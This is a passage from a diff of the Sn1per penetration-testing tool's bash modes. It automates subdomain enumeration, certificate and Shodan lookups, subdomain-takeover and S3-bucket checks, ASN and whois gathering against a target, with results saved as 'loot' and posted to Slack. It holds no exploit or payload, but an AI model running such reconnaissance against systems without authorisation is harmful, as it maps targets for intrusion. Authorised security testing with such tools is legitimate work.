/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per recon scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
cp $LOOT_DIR/domains/domains-$TARGET-full.txt $LOOT_DIR/domains/domains_old-$TARGET.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING DNS SUBDOMAINS VIA SUBLIST3R $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$SUBLIST3R" = "1" ]]; then
|
||||
python $PLUGINS_DIR/Sublist3r/sublist3r.py -d $TARGET -vvv -o $LOOT_DIR/domains/domains-$TARGET.txt 2>/dev/null
|
||||
fi
|
||||
if [[ "$AMASS" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING DNS SUBDOMAINS VIA AMASS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
amass enum -ip -o $LOOT_DIR/domains/domains-$TARGET-amass.txt -rf /usr/share/sniper/plugins/massdns/lists/resolvers.txt -d $TARGET 2>/dev/null
|
||||
cut -d" " -f1 $LOOT_DIR/domains/domains-$TARGET-amass.txt 2>/dev/null | grep $TARGET > $LOOT_DIR/domains/domains-$TARGET-amass-sorted.txt
|
||||
cut -d" " -f2 $LOOT_DIR/domains/domains-$TARGET-amass.txt 2>/dev/null > $LOOT_DIR/ips/amass-ips-$TARGET.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING REVERSE WHOIS DNS SUBDOMAINS VIA AMASS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
amass intel -whois -d $TARGET | tee $LOOT_DIR/domains/domains-$TARGET-reverse-whois.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$SUBFINDER" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING DNS SUBDOMAINS VIA SUBFINDER (THIS COULD TAKE A WHILE...) $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
subfinder -o $LOOT_DIR/domains/domains-$TARGET-subfinder.txt -b -d $TARGET -w $DOMAINS_DEFAULT -t 100 2>/dev/null
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED BRUTE FORCING DNS SUBDOMAINS VIA DNSCAN (THIS COULD TAKE A WHILE...) $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$DNSCAN" = "1" ]]; then
|
||||
python $PLUGINS_DIR/dnscan/dnscan.py -d $TARGET -w $DOMAINS_QUICK -o $LOOT_DIR/domains/domains-dnscan-$TARGET.txt -i $LOOT_DIR/domains/domains-ips-$TARGET.txt
|
||||
cat $LOOT_DIR/domains/domains-dnscan-$TARGET.txt 2>/dev/null | grep $TARGET| awk '{print $3}' | sort -u >> $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null
|
||||
dos2unix $LOOT_DIR/domains/domains-$TARGET.txt 2>/dev/null
|
||||
fi
|
||||
echo ""
|
||||
if [[ "$CRTSH" = "1" ]]; then
|
||||
echo -e "$OKRED ╔═╗╦═╗╔╦╗╔═╗╦ ╦$RESET"
|
||||
echo -e "$OKRED ║ ╠╦╝ ║ ╚═╗╠═╣$RESET"
|
||||
echo -e "$OKRED ╚═╝╩╚═ ╩o╚═╝╩ ╩$RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING CERTIFICATE SUBDOMAINS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKBLUE"
|
||||
curl -s https://crt.sh/?q=%25.$TARGET > $LOOT_DIR/domains/domains-$TARGET-presorted.txt
|
||||
cat $LOOT_DIR/domains/domains-$TARGET-presorted.txt | grep $TARGET | grep TD | sed -e 's/<//g' | sed -e 's/>//g' | sed -e 's/TD//g' | sed -e 's/BR/\n/g' | sed -e 's/\///g' | sed -e 's/ //g' | sed -n '1!p' | grep -v "*" | sort -u > $LOOT_DIR/domains/domains-$TARGET-crt.txt
|
||||
cat $LOOT_DIR/domains/domains-$TARGET-crt.txt
|
||||
echo ""
|
||||
echo -e "${OKRED}[+] Domains saved to: $LOOT_DIR/domains/domains-$TARGET-full.txt"
|
||||
fi
|
||||
if [[ "$CENSYS_SUBDOMAINS" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING CENSYS SUBDOMAINS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
python $PLUGINS_DIR/censys-subdomain-finder/censys_subdomain_finder.py --censys-api-id $CENSYS_APP_ID --censys-api-secret $CENSYS_API_SECRET $TARGET | egrep "\-" | awk '{print $2}' | tee $LOOT_DIR/domains/domains-$TARGET-censys.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$SHODAN" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING SHODAN SUBDOMAINS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
shodan init $SHODAN_API_KEY
|
||||
shodan search "hostname:*.$TARGET" > $LOOT_DIR/domains/shodan-$TARGET.txt 2> /dev/null
|
||||
awk '{print $3}' $LOOT_DIR/domains/shodan-$TARGET.txt 2> /dev/null | grep -v "\;" | tee $LOOT_DIR/domains/domains-$TARGET-shodan-sorted.txt 2> /dev/null
|
||||
awk '{print $1}' $LOOT_DIR/domains/shodan-$TARGET.txt 2> /dev/null >> $LOOT_DIR/ips/ips-all-unsorted.txt 2>/dev/null
|
||||
fi
|
||||
if [[ "$PROJECT_SONAR" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING PROJECT SONAR SUBDOMAINS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -fsSL "https://dns.bufferover.run/dns?q=.$TARGET" | sed 's/\"//g' | cut -f2 -d "," |sort -u | grep $TARGET | tee $LOOT_DIR/domains/domains-$TARGET-projectsonar.txt 2> /dev/null
|
||||
fi
|
||||
cat $LOOT_DIR/domains/domains-$TARGET-crt.txt 2> /dev/null > $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
|
||||
cat $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
|
||||
cat $LOOT_DIR/domains/domains-$TARGET-amass-sorted.txt 2> /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
|
||||
cat $LOOT_DIR/domains/domains-$TARGET-subfinder.txt 2> /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
|
||||
cat $LOOT_DIR/domains/domains-$TARGET-projectsonar.txt 2> /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
|
||||
cat $LOOT_DIR/domains/domains-$TARGET-censys.txt 2> /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
|
||||
cat $LOOT_DIR/domains/domains-$TARGET-shodan-sorted.txt 2>/dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
|
||||
cat $LOOT_DIR/domains/targets.txt 2> /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
|
||||
sed -i '/^$/d' $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
|
||||
sed -i '/^$/d' $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null
|
||||
cat $LOOT_DIR/domains/domains-$TARGET.txt | grep -v "*" | grep -v "?" | tee $LOOT_DIR/domains/domains-$TARGET-presorted-nowildcards.txt
|
||||
if [[ "$ALT_DNS" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING ALTDNS SUBDOMAINS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
altdns -i $LOOT_DIR/domains/domains-$TARGET-presorted-nowildcards.txt -w $INSTALL_DIR/wordlists/altdns.txt -o $LOOT_DIR/domains/domains-$TARGET-altdns.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$DNSGEN" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING DNSGEN SUBDOMAINS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
dnsgen $LOOT_DIR/domains/domains-$TARGET-presorted-nowildcards.txt > $LOOT_DIR/domains/domains-$TARGET-dnsgen.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$MASS_DNS" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING MASSDNS ON SUBDOMAINS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
sort -u $LOOT_DIR/domains/domains-$TARGET-dnsgen.txt $LOOT_DIR/domains/domains-$TARGET-altdns.txt 2> /dev/null > $LOOT_DIR/domains/domains-$TARGET-alldns.txt 2> /dev/null
|
||||
massdns -r /usr/share/sniper/plugins/massdns/lists/resolvers.txt $LOOT_DIR/domains/domains-$TARGET-alldns.txt -o S -t A -w $LOOT_DIR/domains/domains-$TARGET-massdns.txt
|
||||
awk -F ". " '{print $1}' $LOOT_DIR/domains/domains-$TARGET-massdns.txt | grep -v "*" | sort -u | tee $LOOT_DIR/domains/domains-$TARGET-massdns-sorted.txt
|
||||
cat $LOOT_DIR/domains/domains-$TARGET-massdns-sorted.txt 2> /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
|
||||
grep "CNAME" $LOOT_DIR/domains/domains-$TARGET-massdns.txt | awk '{print $3}' | grep -v "*" | sort -u | tee $LOOT_DIR/domains/domains-$TARGET-massdns-CNAME.txt
|
||||
grep "A " $LOOT_DIR/domains/domains-$TARGET-massdns.txt | awk '{print $3}' | grep -v "*" | sort -u | tee $LOOT_DIR/ips/massdns-A-records-$TARGET.txt
|
||||
cat $LOOT_DIR/ips/massdns-A-records-$TARGET.txt >> $LOOT_DIR/ips/ips-all-unsorted.txt 2> /dev/null
|
||||
fi
|
||||
cat $LOOT_DIR/domains/domains-$TARGET-presorted.txt $LOOT_DIR/domains/domains-$TARGET-massdns-sorted.txt 2> /dev/null | sort -u 2> /dev/null > $LOOT_DIR/domains/domains-$TARGET-full.txt
|
||||
cat $LOOT_DIR/domains/domains-$TARGET-full.txt >> $LOOT_DIR/scans/updated.txt 2> /dev/null
|
||||
#rm -f $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
|
||||
diff $LOOT_DIR/domains/domains_old-$TARGET.txt $LOOT_DIR/domains/domains-$TARGET-full.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2}' 2> /dev/null > $LOOT_DIR/domains/domains_new-$TARGET.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS_DOMAINS_NEW" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/domains/domains_new-$TARGET.txt"
|
||||
fi
|
||||
echo -e "$RESET"
|
||||
if [[ "$SPOOF_CHECK" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED CHECKING FOR EMAIL SECURITY $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
python $PLUGINS_DIR/spoofcheck/spoofcheck.py $TARGET | tee $LOOT_DIR/nmap/email-$TARGET.txt 2>/dev/null
|
||||
echo ""
|
||||
if [[ "$SLACK_NOTIFICATIONS_EMAIL_SECURITY" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/email-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
if [[ "$SUBHIJACK_CHECK" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED CHECKING FOR CNAME SUBDOMAIN HIJACKING $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
grep -h "CNAME" $LOOT_DIR/nmap/takeovers-* 2>/dev/null | sort -u 2> /dev/null > $LOOT_DIR/nmap/takeovers_old-all.txt
|
||||
dig $TARGET CNAME | egrep -i "wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|modulus|unbounce|uservoice|wpengine|cloudapp" | tee $LOOT_DIR/nmap/takeovers-$TARGET.txt 2>/dev/null
|
||||
for a in `cat $LOOT_DIR/domains/domains-$TARGET-full.txt`; do dig $a CNAME | egrep -i "wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|modulus|unbounce|uservoice|wpengine|cloudapp" | tee $LOOT_DIR/nmap/takeovers-$a.txt 2>/dev/null; done;
|
||||
grep -h "CNAME" $LOOT_DIR/nmap/takeovers-* 2>/dev/null | sort -u 2> /dev/null | awk '{print $1 " " $4 " " $5}' | grep CNAME | sort -u > $LOOT_DIR/nmap/takeovers_new-all.txt
|
||||
diff $LOOT_DIR/nmap/takeovers_old-all.txt $LOOT_DIR/nmap/takeovers_new-all.txt 2> /dev/null | grep "> " | awk '{print $2 " " $3 " " $4}' | sort -u > $LOOT_DIR/nmap/takeovers_new-diff.txt 2> /dev/null
|
||||
if [[ "$SLACK_NOTIFICATIONS_TAKEOVERS_NEW" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/takeovers_new-diff.txt"
|
||||
fi
|
||||
fi
|
||||
if [[ "$SUBOVER" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED STARTING SUBOVER HIJACKING SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cp $LOOT_DIR/nmap/subover-$TARGET.txt $LOOT_DIR/nmap/subover_old-$TARGET.txt 2> /dev/null
|
||||
cd ~/go/src/github.com/Ice3man543/SubOver
|
||||
subover -l $LOOT_DIR/domains/domains-$TARGET-full.txt | tee $LOOT_DIR/nmap/subover-$TARGET 2>/dev/null
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/nmap/subover-$TARGET > $LOOT_DIR/nmap/subover-$TARGET.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/nmap/subover-$TARGET 2> /dev/null
|
||||
diff $LOOT_DIR/nmap/subover_old-$TARGET.txt $LOOT_DIR/nmap/subover-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{$1=""; print $0}' 2> /dev/null > $LOOT_DIR/nmap/subover_new-$TARGET.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS_SUBOVER_NEW" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/subover_new-$TARGET.txt"
|
||||
fi
|
||||
cd $INSTALL_DIR
|
||||
fi
|
||||
if [[ "$SUBJACK" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED STARTING SUBJACK HIJACKING SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cp $LOOT_DIR/nmap/subjack-$TARGET.txt $LOOT_DIR/nmap/subjack_old-$TARGET.txt 2> /dev/null
|
||||
~/go/bin/subjack -w $LOOT_DIR/domains/domains-$TARGET-full.txt -t $THREADS -timeout 30 -o $LOOT_DIR/nmap/subjack-$TARGET.txt -a -v
|
||||
diff $LOOT_DIR/nmap/subjack_old-$TARGET.txt $LOOT_DIR/nmap/subjack-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{$1=""; print $0}' 2> /dev/null > $LOOT_DIR/nmap/subjack_new-$TARGET.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS_SUBJACK_NEW" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/subjack_new-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
if [[ "$SLURP" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED STARTING PUBLIC S3 BUCKET SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cd $PLUGINS_DIR/slurp/
|
||||
./slurp-linux-amd64 domain --domain $TARGET | tee $LOOT_DIR/nmap/takeovers-$TARGET-s3-buckets.txt 2>/dev/null
|
||||
if [[ "$SLACK_NOTIFICATIONS_S3_BUCKETS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/takeovers-$TARGET-s3-buckets.txt"
|
||||
fi
|
||||
fi
|
||||
if [[ "$ASN_CHECK" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RETRIEVING ASN INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cd $LOOT_DIR/ips/ 2>/dev/null
|
||||
asnip -t $TARGET | tee $LOOT_DIR/ips/asn-$TARGET.txt 2>/dev/null
|
||||
mv $LOOT_DIR/ips/cidrs.txt $LOOT_DIR/ips/cidrs-$TARGET.txt 2>/dev/null
|
||||
mv $LOOT_DIR/ips/ips.txt $LOOT_DIR/ips/ips-$TARGET.txt 2> /dev/null
|
||||
cd $INSTALL_DIR 2>/dev/null
|
||||
fi
|
||||
if [[ "$SUBNET_RETRIEVAL" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED STARTING SUBNET RETRIEVAL $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -s -L --data "ip=$TARGET" https://2ip.me/en/services/information-service/provider-ip\?a\=act | grep -o -E '[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}/[0-9]{1,2}' | tee $LOOT_DIR/ips/subnets-$TARGET.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS_SUBNETS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/ips/subnets-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per recon scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
fi
|
||||
|
|
@ -0,0 +1,491 @@
|
|||
# STEALTH MODE #####################################################################################################
|
||||
if [[ "$MODE" = "stealth" ]]; then
|
||||
if [[ "$REPORT" = "1" ]]; then
|
||||
args="-t $TARGET"
|
||||
if [[ "$OSINT" = "1" ]]; then
|
||||
args="$args -o"
|
||||
fi
|
||||
if [[ "$AUTOBRUTE" = "1" ]]; then
|
||||
args="$args -b"
|
||||
fi
|
||||
if [[ "$FULLNMAPSCAN" = "1" ]]; then
|
||||
args="$args -fp"
|
||||
fi
|
||||
if [[ "$RECON" = "1" ]]; then
|
||||
args="$args -re"
|
||||
fi
|
||||
if [[ ! -z "$WORKSPACE" ]]; then
|
||||
args="$args -w $WORKSPACE"
|
||||
LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
|
||||
echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR $OKBLUE[$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
mkdir -p $LOOT_DIR 2> /dev/null
|
||||
mkdir $LOOT_DIR/domains 2> /dev/null
|
||||
mkdir $LOOT_DIR/screenshots 2> /dev/null
|
||||
mkdir $LOOT_DIR/nmap 2> /dev/null
|
||||
mkdir $LOOT_DIR/notes 2> /dev/null
|
||||
mkdir $LOOT_DIR/reports 2> /dev/null
|
||||
mkdir $LOOT_DIR/scans 2> /dev/null
|
||||
mkdir $LOOT_DIR/output 2> /dev/null
|
||||
fi
|
||||
args="$args --noreport -m stealth"
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running-$TARGET-stealth.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
exit
|
||||
fi
|
||||
echo -e "$OKRED ____ $RESET"
|
||||
echo -e "$OKRED _________ / _/___ ___ _____$RESET"
|
||||
echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET"
|
||||
echo -e "$OKRED (__ ) / / // // /_/ / __/ / $RESET"
|
||||
echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET"
|
||||
echo -e "$OKRED /_/ $RESET"
|
||||
echo -e "$RESET"
|
||||
echo -e "$OKORANGE + -- --=[ https://xerosecurity.com"
|
||||
echo -e "$OKORANGE + -- --=[ Sn1per v$VER by @xer0dayz"
|
||||
echo -e "$OKRED "
|
||||
echo -e "$OKRED ./\."
|
||||
echo -e "$OKRED ./ '\."
|
||||
echo -e "$OKRED \. '\."
|
||||
echo -e "$OKRED '\. '\."
|
||||
echo -e "$OKRED '\. '\."
|
||||
echo -e "$OKRED '\. '\."
|
||||
echo -e "$OKRED ./ '\."
|
||||
echo -e "$OKRED ./ ____'\."
|
||||
echo -e "$OKRED ./ < '\."
|
||||
echo -e "$OKRED \-------\ '> '\."
|
||||
echo -e "$OKRED '\=====> ___< '\."
|
||||
echo -e "$OKRED ./-----/ __________'\."
|
||||
echo -e "$OKRED "' \.------\ _____ ___(_)(_\."\'
|
||||
echo -e "$OKRED '\=====> < ./'"
|
||||
echo -e "$OKRED ./-----/ '> ./"
|
||||
echo -e "$OKRED \. ___< ./"
|
||||
echo -e "$OKRED '\. ./"
|
||||
echo -e "$OKRED '\. ./"
|
||||
echo -e "$OKRED '\. ./"
|
||||
echo -e "$OKRED ./ ./"
|
||||
echo -e "$OKRED ./ ./ Carl Pilcher"
|
||||
echo -e "$OKRED ./ ./"
|
||||
echo -e "$OKRED ./ ./"
|
||||
echo -e "$OKRED ./ ./"
|
||||
echo -e "$OKRED \. ./"
|
||||
echo -e "$OKRED '\. ./"
|
||||
echo -e "$OKRED '\/"
|
||||
echo -e "$RESET"
|
||||
echo -e "$OKORANGE + -- --=[ Launching stealth scan: $TARGET $RESET"
|
||||
echo -e "$OKGREEN $RESET"
|
||||
echo "$TARGET" >> $LOOT_DIR/domains/targets.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING WHOIS INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$WHOIS" == "1" ]]; then
|
||||
if [[ "$VERBOSE" == "1" ]]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN whois $TARGET 2> /dev/null | tee $LOOT_DIR/osint/whois-$TARGET.txt 2> /dev/null $RESET"
|
||||
fi
|
||||
whois $TARGET 2> /dev/null | tee $LOOT_DIR/osint/whois-$TARGET.txt 2> /dev/null
|
||||
if [[ "$SLACK_NOTIFICATIONS_WHOIS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/osint/whois-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING DNS INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$VERBOSE" == "1" ]]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN dig all +short $TARGET > $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null"
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN dig all +short -x $TARGET >> $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null"
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN dnsenum $TARGET 2> /dev/null | tee $LOOT_DIR/output/dnsenum-$TARGET.txt 2> /dev/null$RESET"
|
||||
fi
|
||||
dig all +short $TARGET > $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null
|
||||
dig all +short -x $TARGET >> $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null
|
||||
host $TARGET 2> /dev/null | grep address 2> /dev/null | awk '{print $4}' 2> /dev/null >> $LOOT_DIR/ips/ips-all-unsorted.txt 2> /dev/null
|
||||
dnsenum -f $INSTALL_DIR/wordlists/vhosts.txt --noreverse $TARGET 2> /dev/null
|
||||
mv -f *_ips.txt $LOOT_DIR/ips/ 2>/dev/null
|
||||
|
||||
